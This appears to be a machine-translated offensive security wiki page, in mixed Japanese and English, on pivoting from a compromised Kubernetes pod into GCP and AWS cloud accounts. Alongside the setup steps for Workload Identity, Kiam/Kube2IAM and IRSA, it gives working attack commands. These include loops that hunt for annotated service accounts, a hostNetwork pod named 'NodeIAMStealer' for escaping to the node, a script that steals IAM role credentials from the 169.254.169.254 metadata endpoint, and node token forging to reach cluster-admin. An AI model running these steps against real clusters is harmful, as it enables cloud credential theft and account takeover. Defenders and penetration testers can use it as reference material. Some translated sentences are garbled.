# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

GCP 内で k8s クラスターを稼働させている場合、クラスター内で動作するアプリケーションに GCP へのアクセスを与えたいことが多いです。これを実現する一般的な方法は 2 つあります:

### Mounting GCP-SA keys as secret

Kubernetes アプリケーションに GCP へのアクセスを与える一般的な方法は次の通りです:

- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

> [!WARNING]
> したがって、**attacker** として、pod 内のコンテナを侵害した場合は、GCP 資格情報を含む **env** **variable** や **json** **files** がないか確認するべきです。

### Relating GSA json to KSA secret

GSA に GKE cluser へのアクセスを与える方法の一つは、次のようにそれらをバインドすることです:

- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
kubectl create serviceaccount <service-account-name>
```
- Kubernetes Secret を作成し、GKE cluster にアクセスを付与したい GCP service account の認証情報を含めます。これは `gcloud` コマンドラインツールを使用して行えます。以下の例を参照してください:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- 次のコマンドを使用して Kubernetes Secret を Kubernetes service account にバインドします:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> 第**second step**で、**credentials of the GSA as secret of the KSA** が設定されました。したがって、もし **read that secret** を **inside** の **GKE** クラスタから読み取ることができれば、**escalate to that GCP service account** できます。

### GKE Workload Identity

Workload Identity を使用すると、a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) を [ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) として動作させるように設定できます。Kubernetes service account を使って実行される Pods は、Google Cloud APIs にアクセスする際に自動的に Google service account として認証されます。

The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.

- **Enable Workload Identity** on a new cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **新しい nodepool を作成/更新** (Autopilot clusters では不要)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- K8sからGCPの権限を持つ **GCP Service Account to impersonate** を作成する:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **クラスタ**に**接続**して、使用する**サービスアカウント**を**作成**する
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **GSAをKSAにバインドする**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- **pod** を **KSA** で実行し、**GSA:** への **access** を確認する
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
必要に応じて認証するために、以下のコマンドを確認してください：
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> K8s 内の攻撃者としては **SAs を検索する**べきです（`iam.gke.io/gcp-service-account` アノテーションを持つもの）。これはその SA が GCP の何かにアクセスできることを示しています。別の方法として、クラスタ内の各 KSA を悪用できないか試し、それがアクセスできるか確認することもあります。\
> GCP 側からは、bindings を列挙して、**Kubernetes 内の SAs にどのようなアクセスを与えているか**を把握することが常に重要です。

これはその **annotation** を探すために、全ての pods 定義を簡単に **iterate** するスクリプトです:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS

### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

PodにIAM Rolesを付与する（時代遅れの）方法の一つは、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の**server.**を使うことです。基本的には、クラスター内で**daemonset**を**ある種の特権的なIAM role**の権限で実行する必要があります。このdaemonsetが、必要とするPodに対してIAM rolesへのアクセスを付与します。

まず、**namespace内でどのrolesにアクセスできるか**を設定する必要があり、これはnamespaceオブジェクト内のannotationで行います：
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
namespace が IAM roles で設定され、Pods に付与可能になったら、各 pod 定義に対して **指定したい role を次のように示すことができます**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 攻撃者として、もし pods や namespaces に**これらの注釈を見つけ**たり、kiam/kube2iam サーバーが実行されている（おそらく kube-system に）場合、既に pods によって**使用されている**すべての role を**なりすます**ことができ、さらに多くのことが可能になります（AWS アカウントにアクセスできる場合はロールを列挙してください）。

#### IAM Role を持つ Pod の作成

> [!NOTE]
> 指定する IAM role は kiam/kube2iam role と同じ AWS アカウント内に存在し、その role からアクセスできる必要があります。
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### OIDC 経由の K8s Service Accounts 用 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

これは **AWS によって推奨される方法** です。

1. まず最初に、[create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) を作成する必要があります。
2. 次に、SA が必要とする権限を持つ IAM role を作成します。
3. [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) を作成します（または namespace を指定して、その namespace 内のすべての SA にロールへのアクセスを与えることもできます）。_信頼関係では主に OIDC provider 名、namespace 名、SA 名が検証されます_。
4. 最後に、**ロールの ARN を示す annotation を付けた SA を作成します**。その SA で実行される pods はロールの **token へアクセス** できます。**token** はファイルに **書き込まれ**、パスは **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます（デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`）
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` から **トークンを使って aws を取得する** には、次を実行します:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 攻撃者として、K8s クラスタを列挙できる場合は、**service accounts with that annotation** を確認して **escalate to AWS** できるか調べてください。これを行うには、IAM の **privileged service accounts** のいずれかを使って **exec/create** で **pod** を起動し、token を盗むだけです。
>
> さらに、pod 内にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような環境変数を確認してください。

> [!CAUTION]
> 場合によっては、**Turst Policy of a role** が **bad configured** になっており、期待される service account に AssumeRole アクセスを与える代わりに **all the service accounts** に付与してしまうことがあります。したがって、制御下の service account に annotation を書き込むことができれば、その role にアクセスできます。
>
> 詳細は以下のページを確認してください：

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### クラスタ内で IAM Roles を持つ Pods と SAs を見つける

これは、**iterate over the all the pods and sas** definitions **looking** for that **annotation** を簡単に行うスクリプトです:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin

The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).

- pod の中にいて、metadata endpoint が少なくとも 2 tcp hops を通るように設定されていること。これは最も一般的なミスコンフィグで、通常クラスター内の異なる pods が metadata endpoint へのアクセスを必要とし、いくつかの企業は単にクラスター内のすべての pods から metadata endpoint へのアクセスを許可してしまうためです。
- `hostNetwork` が有効な pod の中にいること。
- Node にエスケープして、metadata endpoint に直接アクセスすること。

（注：metadata endpoint はいつもどおり 169.254.169.254 です）。

To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token

以前、**attach IAM Roles to Pods** の方法や、インスタンスにアタッチされている **escape to the Node to steal the IAM Role** 方法について説明しました。

以下のスクリプトを使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
### Privesc to cluster-admin

要約すると: pod から **access the EKS Node IAM role** が可能であれば、**compromise the full kubernetes cluster** が可能です。

詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を参照してください。概要として、EKS ノードにデフォルトで割り当てられる IAM ロールは、クラスター内で `system:node` ロールとして割り当てられます。このロールは非常に興味深いものですが、kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されています。

しかし、node は常にノード内で動作している pods に紐づく service accounts のために **generate tokens for service accounts** ことができます。したがって、ノードが privileged service account を持つ pod を実行している場合、ノードはその service account のトークンを生成し、それを使ってその service account を偽装できます。例は次のとおり:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## 参考文献

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}
